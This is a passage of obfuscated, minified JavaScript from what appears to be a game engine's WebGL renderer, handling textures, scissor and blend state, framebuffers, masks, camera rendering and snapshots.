'ASTC': _0x3608ae(_0x4ff294, 'astc'), 'BPTC': _0x3608ae(_0x4ff294, 'bptc'), 'RGTC': _0x3608ae(_0x4ff294, 'rgtc'), 'PVRTC': _0x3608ae(_0x4ff294, 'pvrtc'), 'S3TC': _0x3608ae(_0x4ff294, 's3tc'), 'S3TCSRGB': _0x3608ae(_0x4ff294, 's3tc_srgb'), 'IMG': !0x0 }; }, 'getCompressedTextureName': function (_0x2fb449, _0xd13970) { var _0x17f212 = this['compression'][_0x2fb449['toUpperCase']()]; if (_0xd13970 in _0x17f212) return _0x17f212[_0xd13970]; }, 'supportsCompressedTexture': function (_0x5daae9, _0x5dd63d) { var _0x4f0075 = this['compression'][_0x5daae9['toUpperCase']()]; return !!_0x4f0075 && (!_0x5dd63d || _0x5dd63d in _0x4f0075); }, 'getAspectRatio': function () { return this['width'] / this['height']; }, 'setProjectionMatrix': function (_0xa65504, _0x5a0d3d) { return _0xa65504 === this['projectionWidth'] && _0x5a0d3d === this['projectionHeight'] || (this['projectionWidth'] = _0xa65504, this['projectionHeight'] = _0x5a0d3d, this['projectionMatrix']['ortho'](0x0, _0xa65504, _0x5a0d3d, 0x0, -0x3e8, 0x3e8)), this; }, 'resetProjectionMatrix': function () { return this['setProjectionMatrix'](this['width'], this['height']); }, 'hasExtension': function (_0x31a7a9) { return !!this['supportedExtensions'] && this['supportedExtensions']['indexOf'](_0x31a7a9); }, 'getExtension': function (_0x24d337) { return this['hasExtension'](_0x24d337) ? (_0x24d337 in this['extensions'] || (this['extensions'][_0x24d337] = this['gl']['getExtension'](_0x24d337)), this['extensions'][_0x24d337]) : null; }, 'flush': function () { this['pipelines']['flush'](); }, 'pushScissor': function (_0xda39b3, _0x40f645, _0x14424b, _0xb16cb3, _0x2d3c22) { void 0x0 === _0x2d3c22 && (_0x2d3c22 = this['drawingBufferHeight']); var _0x383d73 = [_0xda39b3, _0x40f645, _0x14424b, _0xb16cb3]; return this['scissorStack']['push'](_0x383d73), this['setScissor'](_0xda39b3, _0x40f645, _0x14424b, _0xb16cb3, _0x2d3c22), this['currentScissor'] = _0x383d73, _0x383d73; }, 'setScissor': function (_0x193d89, _0x31c5c3, _0x46e748, _0x1b7220, _0x9317d3) { void 0x0 === _0x9317d3 && (_0x9317d3 = this['drawingBufferHeight']); var _0x434165 = this['gl'], _0xcedf0a = this['currentScissor'], _0x49efd6 = _0x46e748 > 0x0 && _0x1b7220 > 0x0; if (_0xcedf0a && _0x49efd6) { var _0x119099 = _0xcedf0a[0x0], _0x67ac51 = _0xcedf0a[0x1], _0x19c8bf = _0xcedf0a[0x2], _0x1225b7 = _0xcedf0a[0x3]; _0x49efd6 = _0x119099 !== _0x193d89 || _0x67ac51 !== _0x31c5c3 || _0x19c8bf !== _0x46e748 || _0x1225b7 !== _0x1b7220; } _0x49efd6 && (this['flush'](), _0x434165['scissor'](_0x193d89, _0x9317d3 - _0x31c5c3 - _0x1b7220, _0x46e748, _0x1b7220)); }, 'resetScissor': function () { var _0x483fb1 = this['gl']; _0x483fb1['enable'](_0x483fb1['SCISSOR_TEST']); var _0x48d450 = this['currentScissor']; if (_0x48d450) { var _0xfa45ac = _0x48d450[0x0], _0x1c05ac = _0x48d450[0x1], _0xf069c4 = _0x48d450[0x2], _0x1c7b71 = _0x48d450[0x3]; _0xf069c4 > 0x0 && _0x1c7b71 > 0x0 && _0x483fb1['scissor'](_0xfa45ac, this['drawingBufferHeight'] - _0x1c05ac - _0x1c7b71, _0xf069c4, _0x1c7b71); } }, 'popScissor': function () { var _0x4e18d8 = this['scissorStack']; _0x4e18d8['pop'](); var _0x23f7e6 = _0x4e18d8[_0x4e18d8['length'] - 0x1]; _0x23f7e6 && this['setScissor'](_0x23f7e6[0x0], _0x23f7e6[0x1], _0x23f7e6[0x2], _0x23f7e6[0x3]), this['currentScissor'] = _0x23f7e6; }, 'hasActiveStencilMask': function () { var _0x384178 = this['currentMask']['mask'], _0x2f56d3 = this['currentCameraMask']['mask']; return _0x384178 && _0x384178['isStencil'] || _0x2f56d3 && _0x2f56d3['isStencil']; }, 'resetViewport': function () { var _0x227f12 = this['gl']; _0x227f12['viewport'](0x0, 0x0, this['width'], this['height']), this['drawingBufferHeight'] = _0x227f12['drawingBufferHeight']; }, 'setBlendMode': function (_0x3e7bec, _0x3711ee) { void 0x0 === _0x3711ee && (_0x3711ee = !0x1); var _0x4096b4 = this['gl'], _0x23d1bb = this['blendModes'][_0x3e7bec]; return !!(_0x3711ee || _0x3e7bec !== _0x3a3082['BlendModes']['SKIP_CHECK'] && this['currentBlendMode'] !== _0x3e7bec) && (this['flush'](), _0x4096b4['enable'](_0x4096b4['BLEND']), _0x4096b4['blendEquation'](_0x23d1bb['equation']), _0x23d1bb['func']['length'] > 0x2 ? _0x4096b4['blendFuncSeparate'](_0x23d1bb['func'][0x0], _0x23d1bb['func'][0x1], _0x23d1bb['func'][0x2], _0x23d1bb['func'][0x3]) : _0x4096b4['blendFunc'](_0x23d1bb['func'][0x0], _0x23d1bb['func'][0x1]), this['currentBlendMode'] = _0x3e7bec, !0x0); }, 'addBlendMode': function (_0x344023, _0x5985fb) { return this['blendModes']['push']({ 'func': _0x344023, 'equation': _0x5985fb }) - 0x1; }, 'updateBlendMode': function (_0x170a86, _0x364863, _0x3991af) { return this['blendModes'][_0x170a86] && (this['blendModes'][_0x170a86]['func'] = _0x364863, _0x3991af && (this['blendModes'][_0x170a86]['equation'] = _0x3991af)), this; }, 'removeBlendMode': function (_0x34c971) { return _0x34c971 > 0x11 && this['blendModes'][_0x34c971] && this['blendModes']['splice'](_0x34c971, 0x1), this; }, 'pushFramebuffer': function (_0x2e4d61, _0x4ac1a2, _0x3e6e39, _0x1141d6, _0x3c1e47) { return _0x2e4d61 === this['currentFramebuffer'] ? this : (this['fboStack']['push'](_0x2e4d61), this['setFramebuffer'](_0x2e4d61, _0x4ac1a2, _0x3e6e39, _0x1141d6, _0x3c1e47)); }, 'setFramebuffer': function (_0x240d90, _0xe7f159, _0x2e34c0, _0x28bc, _0x1a91a1) { if (void 0x0 === _0xe7f159 && (_0xe7f159 = !0x1), void 0x0 === _0x2e34c0 && (_0x2e34c0 = !0x0), void 0x0 === _0x28bc && (_0x28bc = null), void 0x0 === _0x1a91a1 && (_0x1a91a1 = !0x1), _0x240d90 === this['currentFramebuffer']) return this; var _0x73b182 = this['gl'], _0x21e162 = this['width'], _0x155e59 = this['height']; return _0x240d90 && _0x240d90['renderTexture'] && _0x2e34c0 ? (_0x21e162 = _0x240d90['renderTexture']['width'], _0x155e59 = _0x240d90['renderTexture']['height']) : this['flush'](), _0x240d90 ? _0x73b182['bindFramebuffer'](_0x73b182['FRAMEBUFFER'], _0x240d90['webGLFramebuffer']) : _0x73b182['bindFramebuffer'](_0x73b182['FRAMEBUFFER'], null), _0x2e34c0 && _0x73b182['viewport'](0x0, 0x0, _0x21e162, _0x155e59), _0x28bc && _0x73b182['framebufferTexture2D'](_0x73b182['FRAMEBUFFER'], _0x73b182['COLOR_ATTACHMENT0'], _0x73b182['TEXTURE_2D'], _0x28bc['webGLTexture'], 0x0), _0x1a91a1 && (_0x73b182['clearColor'](0x0, 0x0, 0x0, 0x0), _0x73b182['clear'](_0x73b182['COLOR_BUFFER_BIT'])), _0xe7f159 && (_0x240d90 ? (this['drawingBufferHeight'] = _0x155e59, this['pushScissor'](0x0, 0x0, _0x21e162, _0x155e59)) : (this['drawingBufferHeight'] = this['height'], this['popScissor']())), this['currentFramebuffer'] = _0x240d90, this; }, 'popFramebuffer': function (_0x4ba755, _0x52820a) { void 0x0 === _0x4ba755 && (_0x4ba755 = !0x1), void 0x0 === _0x52820a && (_0x52820a = !0x0); var _0x1509b4 = this['fboStack']; _0x1509b4['pop'](); var _0x30b267 = _0x1509b4[_0x1509b4['length'] - 0x1]; return _0x30b267 || (_0x30b267 = null), this['setFramebuffer'](_0x30b267, _0x4ba755, _0x52820a), _0x30b267; }, 'restoreFramebuffer': function (_0x41e992, _0x26320a) { void 0x0 === _0x41e992 && (_0x41e992 = !0x1), void 0x0 === _0x26320a && (_0x26320a = !0x0); var _0x1ee9e5 = this['fboStack'], _0x7f2877 = _0x1ee9e5[_0x1ee9e5['length'] - 0x1]; _0x7f2877 || (_0x7f2877 = null), this['currentFramebuffer'] = null, this['setFramebuffer'](_0x7f2877, _0x41e992, _0x26320a); }, 'setProgram': function (_0x2b42d6) { return _0x2b42d6 !== this['currentProgram'] && (this['flush'](), this['gl']['useProgram'](_0x2b42d6['webGLProgram']), this['currentProgram'] = _0x2b42d6, !0x0); }, 'resetProgram': function () { return this['gl']['useProgram'](this['currentProgram']['webGLProgramWrapper']), this; }, 'createTextureFromSource': function (_0xf78366, _0x3cd1a9, _0x3dbc76, _0x1ebb53, _0x4cf988) { void 0x0 === _0x4cf988 && (_0x4cf988 = !0x1); var _0x1db8eb = this['gl'], _0x37b841 = _0x1db8eb['NEAREST'], _0x8e73ad = _0x1db8eb['NEAREST'], _0x29372e = _0x1db8eb['CLAMP_TO_EDGE']; _0x3cd1a9 = _0xf78366 ? _0xf78366['width'] : _0x3cd1a9, _0x3dbc76 = _0xf78366 ? _0xf78366['height'] : _0x3dbc76; var _0x1f5996 = _0x55ca06(_0x3cd1a9, _0x3dbc76); if (_0x1f5996 && !_0x4cf988 && (_0x29372e = _0x1db8eb['REPEAT']), _0x1ebb53 === _0x3a3082['ScaleModes']['LINEAR'] && this['config']['antialias']) { var _0x3098bb = _0xf78366 && _0xf78366['compressed'], _0x151876 = !_0x3098bb && _0x1f5996 || _0x3098bb && _0xf78366['mipmaps']['length'] > 0x1; _0x37b841 = this['mipmapFilter'] && _0x151876 ? this['mipmapFilter'] : _0x1db8eb['LINEAR'], _0x8e73ad = _0x1db8eb['LINEAR']; } return _0xf78366 || 'number' != typeof _0x3cd1a9 || 'number' != typeof _0x3dbc76 ? this['createTexture2D'](0x0, _0x37b841, _0x8e73ad, _0x29372e, _0x29372e, _0x1db8eb['RGBA'], _0xf78366) : this['createTexture2D'](0x0, _0x37b841, _0x8e73ad, _0x29372e, _0x29372e, _0x1db8eb['RGBA'], null, _0x3cd1a9, _0x3dbc76); }, 'createTexture2D': function (_0x2f6f8a, _0x32516f, _0x5587e0, _0x1cf565, _0x4b1187, _0x49c097, _0x7d6d34, _0x24372d, _0x34a13e, _0x51dcc5, _0x5e6406, _0x4aac30) { 'number' != typeof _0x24372d && (_0x24372d = _0x7d6d34 ? _0x7d6d34['width'] : 0x1), 'number' != typeof _0x34a13e && (_0x34a13e = _0x7d6d34 ? _0x7d6d34['height'] : 0x1); var _0x276c08 = new _0x38b298(this['gl'], _0x2f6f8a, _0x32516f, _0x5587e0, _0x1cf565, _0x4b1187, _0x49c097, _0x7d6d34, _0x24372d, _0x34a13e, _0x51dcc5, _0x5e6406, _0x4aac30); return this['glTextureWrappers']['push'](_0x276c08), _0x276c08; }, 'createFramebuffer': function (_0x2dca88, _0x2f3539, _0x29f7d3, _0x425667) { this['currentFramebuffer'] = null; var _0x419429 = new _0xcc90b9(this['gl'], _0x2dca88, _0x2f3539, _0x29f7d3, _0x425667); return this['glFramebufferWrappers']['push'](_0x419429), _0x419429; }, 'beginBitmapMask': function (_0x4b211b, _0x84f156) { this['gl'] && (this['flush'](), this['maskTarget']['bind'](!0x0), this['currentCameraMask']['mask'] !== _0x4b211b && (this['currentMask']['mask'] = _0x4b211b, this['currentMask']['camera'] = _0x84f156)); }, 'drawBitmapMask': function (_0x20544d, _0x424b2d, _0x1bd8ec) { this['flush'](), this['maskSource']['bind'](), this['setBlendMode'](0x0, !0x0), _0x20544d['renderWebGL'](this, _0x20544d, _0x424b2d), this['maskSource']['unbind'](!0x0), this['maskTarget']['unbind'](); var _0x4d424e = this['gl'], _0x16173b = this['getCurrentStencilMask'](); _0x16173b ? (_0x4d424e['enable'](_0x4d424e['STENCIL_TEST']), _0x16173b['mask']['applyStencil'](this, _0x16173b['camera'], !0x0)) : this['currentMask']['mask'] = null, this['pipelines']['set'](_0x1bd8ec), _0x4d424e['activeTexture'](_0x4d424e['TEXTURE0']), _0x4d424e['bindTexture'](_0x4d424e['TEXTURE_2D'], this['maskTarget']['texture']['webGLTexture']), _0x4d424e['activeTexture'](_0x4d424e['TEXTURE1']), _0x4d424e['bindTexture'](_0x4d424e['TEXTURE_2D'], this['maskSource']['texture']['webGLTexture']); }, 'createProgram': function (_0x4e89e0, _0x1c24da) { var _0x904d53 = new _0x299a5b(this['gl'], _0x4e89e0, _0x1c24da); return this['glProgramWrappers']['push'](_0x904d53), _0x904d53; }, 'createVertexBuffer': function (_0x449af7, _0x495d65) { var _0x1e3fc9 = this['gl'], _0x3e407a = new _0x2e2d5e(_0x1e3fc9, _0x449af7, _0x1e3fc9['ARRAY_BUFFER'], _0x495d65); return this['glBufferWrappers']['push'](_0x3e407a), _0x3e407a; }, 'createAttribLocation': function (_0xf7873d, _0x1dc41a) { var _0x1e66ea = new _0x2fab33(this['gl'], _0xf7873d, _0x1dc41a); return this['glAttribLocationWrappers']['push'](_0x1e66ea), _0x1e66ea; }, 'createUniformLocation': function (_0x5d803d, _0x446473) { var _0x44affa = new _0x5dd103(this['gl'], _0x5d803d, _0x446473); return this['glUniformLocationWrappers']['push'](_0x44affa), _0x44affa; }, 'createIndexBuffer': function (_0x1f874a, _0x1911f7) { var _0x2f265a = this['gl'], _0x130b46 = new _0x2e2d5e(_0x2f265a, _0x1f874a, _0x2f265a['ELEMENT_ARRAY_BUFFER'], _0x1911f7); return this['glBufferWrappers']['push'](_0x130b46), _0x130b46; }, 'deleteTexture': function (_0x5bc7a1) { if (_0x5bc7a1) return _0x5bb2f9(this['glTextureWrappers'], _0x5bc7a1), _0x5bc7a1['destroy'](), this; }, 'deleteFramebuffer': function (_0x8cab84) { return _0x8cab84 ? (_0x5bb2f9(this['fboStack'], _0x8cab84), _0x5bb2f9(this['glFramebufferWrappers'], _0x8cab84), _0x8cab84['destroy'](), this) : this; }, 'deleteProgram': function (_0x22bd0c) { return _0x22bd0c && (_0x5bb2f9(this['glProgramWrappers'], _0x22bd0c), _0x22bd0c['destroy']()), this; }, 'deleteAttribLocation': function (_0x3a6cf5) { return _0x3a6cf5 && (_0x5bb2f9(this['glAttribLocationWrappers'], _0x3a6cf5), _0x3a6cf5['destroy']()), this; }, 'deleteUniformLocation': function (_0x422c5f) { return _0x422c5f && (_0x5bb2f9(this['glUniformLocationWrappers'], _0x422c5f), _0x422c5f['destroy']()), this; }, 'deleteBuffer': function (_0x5edb9b) { return _0x5edb9b ? (_0x5bb2f9(this['glBufferWrappers'], _0x5edb9b), _0x5edb9b['destroy'](), this) : this; }, 'preRenderCamera': function (_0x3f66f2) { var _0x422978 = _0x3f66f2['x'], _0x1ae606 = _0x3f66f2['y'], _0x1aaeb3 = _0x3f66f2['width'], _0x110db9 = _0x3f66f2['height'], _0x5317ff = _0x3f66f2['backgroundColor']; _0x3f66f2['emit'](_0x54cb39['PRE_RENDER'], _0x3f66f2), this['pipelines']['preBatchCamera'](_0x3f66f2), this['pushScissor'](_0x422978, _0x1ae606, _0x1aaeb3, _0x110db9), _0x3f66f2['mask'] && (this['currentCameraMask']['mask'] = _0x3f66f2['mask'], this['currentCameraMask']['camera'] = _0x3f66f2['_maskCamera'], _0x3f66f2['mask']['preRenderWebGL'](this, _0x3f66f2, _0x3f66f2['_maskCamera'])), _0x5317ff['alphaGL'] > 0x0 && this['pipelines']['setMulti']()['drawFillRect'](_0x422978, _0x1ae606, _0x1aaeb3, _0x110db9, _0x38b001['getTintFromFloats'](_0x5317ff['blueGL'], _0x5317ff['greenGL'], _0x5317ff['redGL'], 0x1), _0x5317ff['alphaGL']); }, 'getCurrentStencilMask': function () { var _0x37fa60 = null, _0x201a4e = this['maskStack'], _0x130791 = this['currentCameraMask']; return _0x201a4e['length'] > 0x0 ? _0x37fa60 = _0x201a4e[_0x201a4e['length'] - 0x1] : _0x130791['mask'] && _0x130791['mask']['isStencil'] && (_0x37fa60 = _0x130791), _0x37fa60; }, 'postRenderCamera': function (_0x2b2043) { var _0x4d4844 = _0x2b2043['flashEffect'], _0x2cb1a7 = _0x2b2043['fadeEffect']; if (_0x4d4844['isRunning'] || _0x2cb1a7['isRunning'] || _0x2cb1a7['isComplete']) { var _0x3e32cd = this['pipelines']['setMulti'](); _0x4d4844['postRenderWebGL'](_0x3e32cd, _0x38b001['getTintFromFloats']), _0x2cb1a7['postRenderWebGL'](_0x3e32cd, _0x38b001['getTintFromFloats']); } _0x2b2043['dirty'] = !0x1, this['popScissor'](), _0x2b2043['mask'] && (this['currentCameraMask']['mask'] = null, _0x2b2043['mask']['postRenderWebGL'](this, _0x2b2043['_maskCamera'])), this['pipelines']['postBatchCamera'](_0x2b2043), _0x2b2043['emit'](_0x54cb39['POST_RENDER'], _0x2b2043); }, 'preRender': function () { if (!this['contextLost']) { var _0x30169c = this['gl']; if (_0x30169c['bindFramebuffer'](_0x30169c['FRAMEBUFFER'], null), this['emit'](_0x59f95f['PRE_RENDER_CLEAR']), this['config']['clearBeforeRender']) { var _0x22aa35 = this['config']['backgroundColor']; _0x30169c['clearColor'](_0x22aa35['redGL'], _0x22aa35['greenGL'], _0x22aa35['blueGL'], _0x22aa35['alphaGL']), _0x30169c['clear'](_0x30169c['COLOR_BUFFER_BIT'] | _0x30169c['DEPTH_BUFFER_BIT'] | _0x30169c['STENCIL_BUFFER_BIT']); } _0x30169c['enable'](_0x30169c['SCISSOR_TEST']), this['currentScissor'] = this['defaultScissor'], this['scissorStack']['length'] = 0x0, this['scissorStack']['push'](this['currentScissor']), this['game']['scene']['customViewports'] && _0x30169c['scissor'](0x0, this['drawingBufferHeight'] - this['height'], this['width'], this['height']), this['currentMask']['mask'] = null, this['currentCameraMask']['mask'] = null, this['maskStack']['length'] = 0x0, this['emit'](_0x59f95f['PRE_RENDER']); } }, 'render': function (_0x4359f9, _0x39ede4, _0x331e40) { if (!this['contextLost']) { var _0x54b8b6 = _0x39ede4['length']; if (this['emit'](_0x59f95f['RENDER'], _0x4359f9, _0x331e40), this['preRenderCamera'](_0x331e40), 0x0 === _0x54b8b6) return this['setBlendMode'](_0x3a3082['BlendModes']['NORMAL']), void this['postRenderCamera'](_0x331e40); this['currentType'] = ''; for (var _0x100850 = this['currentMask'], _0x57bd11 = 0x0; _0x57bd11 < _0x54b8b6; _0x57bd11++) { this['finalType'] = _0x57bd11 === _0x54b8b6 - 0x1; var _0x4e6d22 = _0x39ede4[_0x57bd11], _0x5551cc = _0x4e6d22['mask']; (_0x100850 = this['currentMask'])['mask'] && _0x100850['mask'] !== _0x5551cc && _0x100850['mask']['postRenderWebGL'](this, _0x100850['camera']), _0x5551cc && _0x100850['mask'] !== _0x5551cc && _0x5551cc['preRenderWebGL'](this, _0x4e6d22, _0x331e40), _0x4e6d22['blendMode'] !== this['currentBlendMode'] && this['setBlendMode'](_0x4e6d22['blendMode']); var _0x1d89cd = _0x4e6d22['type']; _0x1d89cd !== this['currentType'] && (this['newType'] = !0x0, this['currentType'] = _0x1d89cd), this['finalType'] ? this['nextTypeMatch'] = !0x1 : this['nextTypeMatch'] = _0x39ede4[_0x57bd11 + 0x1]['type'] === this['currentType'], _0x4e6d22['renderWebGL'](this, _0x4e6d22, _0x331e40), this['newType'] = !0x1; } (_0x100850 = this['currentMask'])['mask'] && _0x100850['mask']['postRenderWebGL'](this, _0x100850['camera']), this['setBlendMode'](_0x3a3082['BlendModes']['NORMAL']), this['postRenderCamera'](_0x331e40); } }, 'postRender': function () { if (!this['contextLost']) { this['flush'](), this['emit'](_0x59f95f['POST_RENDER']); var _0x3c1878 = this['snapshotState']; _0x3c1878['callback'] && (_0x8fa9de(this['gl'], _0x3c1878), _0x3c1878['callback'] = null); } }, 'clearStencilMask': function () { this['gl']['disable'](this['gl']['STENCIL_TEST']); }, 'restoreStencilMask': function () { var _0x36460c = this['gl'], _0x2d1d63 = this['getCurrentStencilMask'](); if (_0x2d1d63) { var _0x4cf246 = _0x2d1d63['mask']; _0x36460c['enable'](_0x36460c['STENCIL_TEST']), _0x4cf246['invertAlpha'] ? _0x36460c['stencilFunc'](_0x36460c['NOTEQUAL'], _0x4cf246['level'], 0xff) : _0x36460c['stencilFunc'](_0x36460c['EQUAL'], _0x4cf246['level'], 0xff); } }, 'snapshot': function (_0x5e67be, _0x4819bd, _0x165051) { return this['snapshotArea'](0x0, 0x0, this['gl']['drawingBufferWidth'], this['gl']['drawingBufferHeight'], _0x5e67be, _0x4819bd, _0x165051); }, 'snapshotArea': function (_0x585e98, _0x41503d, _0x1c8af0, _0x100a54, _0x705b71, _0x70fe60, _0x452b3c) { var _0x25ed16 = this['snapshotState']; return _0x25ed16['callback'] = _0x705b71, _0x25ed16['type'] = _0x70fe60, _0x25ed16['encoder'] = _0x452b3c, _0x25ed16['getPixel'] = !0x1, _0x25ed16['x'] = _0x585e98, _0x25ed16['y'] = _0x41503d, _0x25ed16['width'] = _0x1c8af0, _0x25ed16['height'] = _0x100a54, this; }, 'snapshotPixel': function (_0xf2739f, _0x4ade8a, _0x288dc8) { return this['snapshotArea'](_0xf2739f, _0x4ade8a, 0x1, 0x1, _0x288dc8), this['snapshotState']['getPixel'] = !0x0, this; }, 'snapshotFramebuffer': function (_0x3a73e8, _0x228b46, _0xba9f29, _0x44715f, _0x5c2d1d, _0x1d287a, _0x2f5066, _0x37b2a4, _0x2858af, _0x264512, _0x240f4b) { void 0x0 === _0x5c2d1d && (_0x5c2d1d = !0x1), void 0x0 === _0x1d287a && (_0x1d287a = 0x0), void 0x0 === _0x2f5066 && (_0x2f5066 = 0x0), void 0x0 === _0x37b2a4 && (_0x37b2a4 = _0x228b46), void 0x0 === _0x2858af && (_0x2858af = _0xba9f29), 'pixel' === _0x264512 && (_0x5c2d1d = !0x0, _0x264512 = 'image/png'); var _0x3bec78 = this['currentFramebuffer']; this['snapshotArea'](_0x1d287a, _0x2f5066, _0x37b2a4, _0x2858af, _0x44715f, _0x264512, _0x240f4b); var _0x1ff15b = this['snapshotState']; return _0x1ff15b['getPixel'] = _0x5c2d1d, _0x1ff15b['isFramebuffer'] = !0x0, _0x1ff15b['bufferWidth'] = _0x228b46, _0x1ff15b['bufferHeight'] = _0xba9f29, _0x1ff15b['width'] = Math['min'](_0x1ff15b['width'], _0x228b46), _0x1ff15b['height'] = Math['min'](_0x1ff15b['height'], _0xba9f29), this['setFramebuffer'](_0x3a73e8), _0x8fa9de(this['gl'], _0x1ff15b), this['setFramebuffer'](_0x3bec78), _0x1ff15b['callback'] = null, _0x1ff15b['isFramebuffer'] = !0x1, this; }, 'canvasToTexture': function (_0x451786, _0x408d59, _0x374ca9, _0x12fcbe) { void 0x0 === _0x374ca9 && (_0x374ca9 = !0x1), void 0x0 === _0x12fcbe && (_0x12fcbe = !0x1); var _0x37c9b8 = this['gl'], _0x13ab58 = _0x37c9b8['NEAREST'], _0x3dd93c = _0x37c9b8['NEAREST'], _0x541d4b = _0x451786['width'], _0x4eed78 = _0x451786['height'], _0x140d8e = _0x37c9b8['CLAMP_TO_EDGE'], _0x227868 = _0x55ca06(_0x541d4b, _0x4eed78); return !_0x374ca9 && _0x227868 && (_0x140d8e = _0x37c9b8['REPEAT']), this['config']['antialias'] && (_0x13ab58 = _0x227868 && this['mipmapFilter'] ? this['mipmapFilter'] : _0x37c9b8['LINEAR'], _0x3dd93c = _0x37c9b8['LINEAR']), _0x408d59 ? (_0x408d59['update'](_0x451786, _0x541d4b, _0x4eed78, _0x12fcbe, _0x140d8e, _0x140d8e, _0x13ab58, _0x3dd93c, _0x408d59['format']), _0x408d59) : this['createTexture2D'](0x0, _0x13ab58, _0x3dd93c, _0x140d8e, _0x140d8e, _0x37c9b8['RGBA'], _0x451786, _0x541d4b, _0x4eed78, !0x0, !0x1, _0x12fcbe); }, 'createCanvasTexture': function (_0x2cd4e6, _0x1488b8, _0x35bef9) { return void 0x0 === _0x1488b8 && (_0x1488b8 = !0x1), void 0x0 === _0x35bef9 && (_0x35bef9 = !0x1), this['canvasToTexture'](_0x2cd4e6, null, _0x1488b8, _0x35bef9); }, 'updateCanvasTexture': function (_0x40b012, _0x49f419, _0x29defe, _0x3a87e5) { return void 0x0 === _0x29defe && (_0x29defe = !0x1), void 0x0 === _0x3a87e5 && (_0x3a87e5 = !0x1), this['canvasToTexture'](_0x40b012, _0x49f419, _0x3a87e5, _0x29defe); }, 'videoToTexture': function (_0x3b023a, _0x117c10, _0x510812, _0x50c87b) { void 0x0 === _0x510812 && (_0x510812 = !0x1), void 0x0 === _0x50c87b && (_0x50c87b = !0x1); var _0xd5445e = this['gl'], _0x5e3084 = _0xd5445e['NEAREST'], _0x2f627f = _0xd5445e['NEAREST'], _0x40cfee = _0x3b023a['videoWidth'], _0x3e6b99 = _0x3b023a['videoHeight'], _0x4374df = _0xd5445e['CLAMP_TO_EDGE'], _0x4547f8 = _0x55ca06(_0x40cfee, _0x3e6b99); return !_0x510812 && _0x4547f8 && (_0x4374df = _0xd5445e['REPEAT']), this['config']['antialias'] && (_0x5e3084 = _0x4547f8 && this['mipmapFilter'] ? this['mipmapFilter'] : _0xd5445e['LINEAR'], _0x2f627f = _0xd5445e['LINEAR']), _0x117c10 ? (_0x117c10['update'](_0x3b023a, _0x40cfee, _0x3e6b99, _0x50c87b, _0x4374df, _0x4374df, _0x5e3084, _0x2f627f, _0x117c10['format']), _0x117c10) : this['createTexture2D'](0x0, _0x5e3084, _0x2f627f, _0x4374df, _0x4374df, _0xd5445e['RGBA'], _0x3b023a, _0x40cfee, _0x3e6b99, !0x0, !0x0, _0x50c87b); }, 'createVideoTexture': function (_0x5b48df, _0x346bcd, _0x3d3701) { return void 0x0 === _0x346bcd && (_0x346bcd = !0x1), void 0x0 === _0x3d3701 && (_0x3d3701 = !0x1), this['videoToTexture'](_0x5b48df, null, _0x346bcd, _0x3d3701); }, 'updateVideoTexture': function (_0x5042e0, _0x441059, _0x3af4bd, _0x5dcc74) { return void 0x0 === _0x3af4bd && (_0x3af4bd = !0x1), void 0x0 === _0x5dcc74 && (_0x5dcc74 = !0x1), this['videoToTexture'](_0x5042e0, _0x441059, _0x5dcc74, _0x3af4bd); }, 'createUint8ArrayTexture': function (_0x1af2ba, _0x25684d, _0x4a5634) { var _0x1eca12 = this['gl'], _0x5914a2 = _0x1eca12['NEAREST'], _0x2352f5 = _0x1eca12['NEAREST'], _0x2c4d97 = _0x1eca12['CLAMP_TO_EDGE']; return _0x55ca06(_0x25684d, _0x4a5634) && (_0x2c4d97 = _0x1eca12['REPEAT']), this['createTexture2D'](0x0, _0x5914a2, _0x2352f5, _0x2c4d97, _0x2c4d97, _0x1eca12['RGBA'], _0x1af2ba, _0x25684d, _0x4a5634); }, 'setTextureFilter': function (_0x4c116d, _0x43ccb0) { var _0x22d4e0 = this['gl'], _0x25ca48 = 0x0 === _0x43ccb0 ? _0x22d4e0['LINEAR'] : _0x22d4e0['NEAREST']; _0x22d4e0['activeTexture'](_0x22d4e0['TEXTURE0']); var _0x4d80b0 = _0x22d4e0['getParameter'](_0x22d4e0['TEXTURE_BINDING_2D']); return _0x22d4e0['bindTexture'](_0x22d4e0['TEXTURE_2D'], _0x4c116d['webGLTexture']), _0x22d4e0['texParameteri'](_0x22d4e0['TEXTURE_2D'], _0x22d4e0['TEXTURE_MIN_FILTER'], _0x25ca48), _0x22d4e0['texParameteri'](_0x22d4e0['TEXTURE_2D'], _0x22d4e0['TEXTURE_MAG_FILTER'], _0x25ca48), _0x4c116d['minFilter'] = _0x25ca48, _0x4c116d['magFilter'] = _0x25ca48, _0x4d80b0 && _0x22d4e0['bindTexture'](_0x22d4e0['TEXTURE_2D'], _0x4d80b0), this; }, 'getMaxTextureSize': function () { return this['config']['maxTextureSize']; }, 'destroy': function () { this['canvas']['removeEventListener']('webglcontextlost', this['contextLostHandler'], !0x1), this['canvas']['removeEventListener']('webglcontextrestored', this['contextRestoredHandler'], !0x1); var _0x41fe46 = function (_0x3411e3) { _0x3411e3['destroy'](); }; _0x32e484(this['glAttribLocationWrappers'], _0x41fe46), _0x32e484(this['glBufferWrappers'], _0x41fe46), _0x32e484(this['glFramebufferWrappers'], _0x41fe46), _0x32e484(this['glProgramWrappers'], _0x41fe46), _0x32e484(this['glTextureWrappers'], _0x41fe46), _0x32e484(this['glUniformLocationWrappers'], _0x41fe46), this['maskTarget']['destroy'](), this['maskSource']['destroy'](), this['pipelines']['destroy'](), this['removeAllListeners'](), this['fboStack'] = [], this['maskStack'] = [], this['extensions'] = {}, this['textureIndexes'] = [], this['gl'] = null, this['game'] = null, this['canvas'] = null, this['contextLost'] = !0x0, this['currentMask'] = null, this['currentCameraMask'] = null; } }); _0x37524d['exports'] = _0x559f6e; }, 0x971b: (_0x36a705, _0x3a69b4, _0x585519) => { var _0x35a379 = _0x585519(0x145db), _0x346b0e = _0x585519(0x174c4), _0x1b8c53 = _0x585519(0x17534), _0x482033 = _0x585519(0x38a4), _0x1160d8 = new _0x35a379({ 'initialize': function (_0x4fb32b, _0x4210f6, _0x7b0531, _0x196736, _0x21d7ae) { this['pipeline'] = _0x4fb32b, this['name'] = _0x4210f6, this['renderer'] = _0x4fb32b['renderer'], this['gl'] = this['renderer']['gl'], this['fragSrc'] = _0x196736, this['vertSrc'] = _0x7b0531, this['program'] = this['renderer']['createProgram'](_0x7b0531, _0x196736), this['attributes'], this['vertexComponentCount'] = 0x0, this['vertexSize'] = 0x0, this['uniforms'] = {}, this['createAttributes'](_0x21d7ae), this['createUniforms'](); }, 'createAttributes': function (_0x466a7f) { var _0x408285 = 0x0, _0x1780c5 = 0x0, _0x1cc773 = []; this['vertexComponentCount'] = 0x0; for (var _0x43d6bb = 